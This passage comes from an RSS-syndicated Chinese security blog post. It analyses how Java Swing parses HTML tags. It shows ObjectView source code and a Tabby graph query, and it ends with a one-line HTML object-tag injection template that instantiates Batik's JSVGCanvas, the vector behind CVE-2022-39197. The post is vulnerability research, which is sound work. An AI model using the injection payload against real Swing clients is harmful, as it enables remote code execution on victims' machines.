data-type="png" data-w="979" src="https://wechat2rss.xlab.app/img-proxy/?k=d1b3ca9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBd92zZhnpaibEzC8PwLzBkU6yFeKaibtpiaibLsBEmnQJfsccTjOOxzun5hg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">不同的标签有不同的VIEW对应去解析处理此标签，以img为例，一个img标签会触发http请求，最终会走到javax.swing.text.html.ImageView#loadImage ，新起一个线程来发起sockt请求，主线程调用栈如下</p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">wait:-1, Object (java.lang)<br/>waitForID:677, MediaTracker (java.awt)<br/>loadImage:314, ImageIcon (javax.swing)<br/>setImage:381, ImageIcon (javax.swing)<br/>loadImage:704, ImageView (javax.swing.text.html)<br/>refreshImage:673, ImageView (javax.swing.text.html)<br/>sync:645, ImageView (javax.swing.text.html)<br/>getPreferredSpan:443, ImageView (javax.swing.text.html)<br/>getPreferredSpan:732, FlowView$LogicalView (javax.swing.text)<br/>calculateMinorAxisRequirements:233, FlowView (javax.swing.text)<br/>calculateMinorAxisRequirements:717, ParagraphView (javax.swing.text)<br/>calculateMinorAxisRequirements:157, ParagraphView (javax.swing.text.html)<br/>checkRequests:935, BoxView (javax.swing.text)<br/>getMinimumSpan:568, BoxView (javax.swing.text)<br/>getMinimumSpan:270, ParagraphView (javax.swing.text.html)<br/>calculateMinorAxisRequirements:903, BoxView (javax.swing.text)<br/>calculateMinorAxisRequirements:146, BlockView (javax.swing.text.html)<br/>checkRequests:935, BoxView (javax.swing.text)<br/>getMinimumSpan:568, BoxView (javax.swing.text)<br/>getMinimumSpan:378, BlockView (javax.swing.text.html)<br/>calculateMinorAxisRequirements:903, BoxView (javax.swing.text)<br/>calculateMinorAxisRequirements:146, BlockView (javax.swing.text.html)<br/>checkRequests:935, BoxView (javax.swing.text)<br/>getPreferredSpan:545, BoxView (javax.swing.text)<br/>getPreferredSpan:362, BlockView (javax.swing.text.html)<br/>&lt;init&gt;:383, BasicHTML$Renderer (javax.swing.plaf.basic)<br/>createHTMLView:67, BasicHTML (javax.swing.plaf.basic)<br/>updateRenderer:207, BasicHTML (javax.swing.plaf.basic)<br/>installComponents:381, BasicLabelUI (javax.swing.plaf.basic)<br/>installUI:343, BasicLabelUI (javax.swing.plaf.basic)<br/>setUI:666, JComponent (javax.swing)<br/>setUI:261, JLabel (javax.swing)<br/>updateUI:275, JLabel (javax.swing)<br/>&lt;init&gt;:164, JLabel (javax.swing)<br/>&lt;init&gt;:194, JLabel (javax.swing)<br/>createAndShowGUI:10, Main<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">图片请求线程如下 <img class="rich_pages wxw-img" data-imgfileid="100003175" data-ratio="0.5287037037037037" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ad9dc5f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdo5NKAkrVncMVo3QQwBlUiaQF59ZvWXTdvmibhnMvWHnTc1eq8O1licP7Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Object标签解析</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">大概模糊的了解了标签解析，接下来就该逐一看每个标签解析都会产生什么样危险逻辑，当然有那么多分析文章我们这里就很没脸的掠过了，直接将目光定位到ObjectView</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">javax.swing.text.html.ObjectView#createComponent</p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">protected Component createComponent() {<br/>    AttributeSet attr = getElement().getAttributes();<br/>    String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID);<br/>    try {<br/>        ReflectUtil.checkPackageAccess(classname);<br/>        Class c = Class.forName(classname, true,Thread.currentThread().<br/>                                getContextClassLoader());<br/>        Object o = c.newInstance();<br/>        if (o instanceof Component) {<br/>            Component comp = (Component) o;<br/>            setParameters(comp, attr);<br/>            return comp;<br/>        }<br/>    } catch (Throwable e) {<br/>        // couldn&#39;t create a component... fall through to the<br/>        // couldn&#39;t load representation.<br/>    }<br/>    return getUnloadableRepresentation();<br/>}<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">可以实例化Component子类 <img class="rich_pages wxw-img" data-imgfileid="100003174" data-ratio="0.8361111111111111" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e574c9a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdgk0VNoIGEIVqgHtq3nR8KxqV8W4wWJdKATxMxkiaQs7v2JDS9ibFiaa6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">必须有无参构造方法</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">必须存在一个setXXX方法的XXX属性</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">setXXX方法的传参数必须是接受一个string类型的参数</p><h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Tabby查找符合条件类</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">好的，让我们打开tabby，上面这些条件转化为tabby语法如下(遇到点小问题，感谢wh1t3Pig指点)</p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">match path=(source:Method)&lt;-[:HAS]-(c:Class)-[:EXTENDS*]-(ec:Class{NAME:&#34;java.awt.Component&#34;})<br/>where source.NAME starts with &#34;set&#34; and source.PARAMETER_SIZE=1<br/>return c limit 100<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003176" data-ratio="0.5027777777777778" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ffa8ca1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdeLCDUr84YvCbePzn5W2PuOQCLVHKjHDpKxcVOoJutJdiaCH8qy3HZ2w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">&lt;html&gt;&lt;object classid=&#39;org.apache.batik.swing.JSVGCanvas&#39;&gt;&lt;param name=&#39;URI&#39; value=&#39;payload&#39;&gt;&lt;/param&gt;&lt;/object&gt;<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">接下来就是SVG利用链的过程，到点下班了详情参考 <a href="https://todis21.github.io/2022/10/30/CVE-2022-39197%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/" target="_blank">https://todis21.github.io/2022/10/30/CVE-2022-39197%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</a></p><h1 tabindex="-1" dir="auto" style="box-sizing: border-box;font-size: 2em;margin: 24px 0px 16px;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>参考链接</h1><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&amp;mid=2456098978&amp;idx=1&amp;sn=d511d5a674d84eeaf262c8e389ae0403&amp;chksm=803c696bb74be07d8ef8e473b11ffe4dce57b58ccf82e8615ab15d9ba6bba9263360c01276a8&amp;mpshare=1&amp;scene=21&amp;srcid=1012cGc5X3pyXr5VpF2LMf7Y&amp;sharer_sharetime=1665577816700&amp;sharer_shareid=685f4dccaa04150832e24b9e6499e6cf#wechat_redirect" rel="nofollow" style="box-sizing: border-box;background-color: transparent;color: var(--fgColor-accent, var(--color-accent-fg));text-decoration: underline;text-underline-offset: 0.2rem;" data-linktype="2"><a href="https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&amp;mid=2456098978&amp;idx=1&amp;sn=d511d5a674d84eeaf262c8e389ae0403&amp;chksm=803c696bb74be07d8ef8e473b11ffe4dce57b58ccf82e8615ab15d9ba6bba9263360c01276a8&amp;mpshare=1&amp;scene=23&amp;srcid=1012cGc5X3pyXr5VpF2LMf7Y&amp;sharer_sharetime=1665577816700&amp;sharer_shareid=685f4dccaa04150832e24b9e6499e6cf#rd" target="_blank">https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&amp;mid=2456098978&amp;idx=1&amp;sn=d511d5a674d84eeaf262c8e389ae0403&amp;chksm=803c696bb74be07d8ef8e473b11ffe4dce57b58ccf82e8615ab15d9ba6bba9263360c01276a8&amp;mpshare=1&amp;scene=23&amp;srcid=1012cGc5X3pyXr5VpF2LMf7Y&amp;sharer_sharetime=1665577816700&amp;sharer_shareid=685f4dccaa04150832e24b9e6499e6cf#rd</a></a></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px !important;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://todis21.github.io/2022/10/30/CVE-2022-39197%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/" target="_blank">https://todis21.github.io/2022/10/30/CVE-2022-39197%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</a></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486828">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=00c39dcf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486828%26idx%3D2%26sn%3D665079a3cd4d219784f41de8ed30e26e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 15 Dec 2023 22:28:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2023-34192 —— Zimbra XSS To RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486801&amp;idx=1&amp;sn=45042aaae9fd45a42d840dc3ac29a58d</link>
      <description>CVE-2023-34192 —— Zimbra XSS To RCE</description>
      <content:encoded><![CDATA[<p>
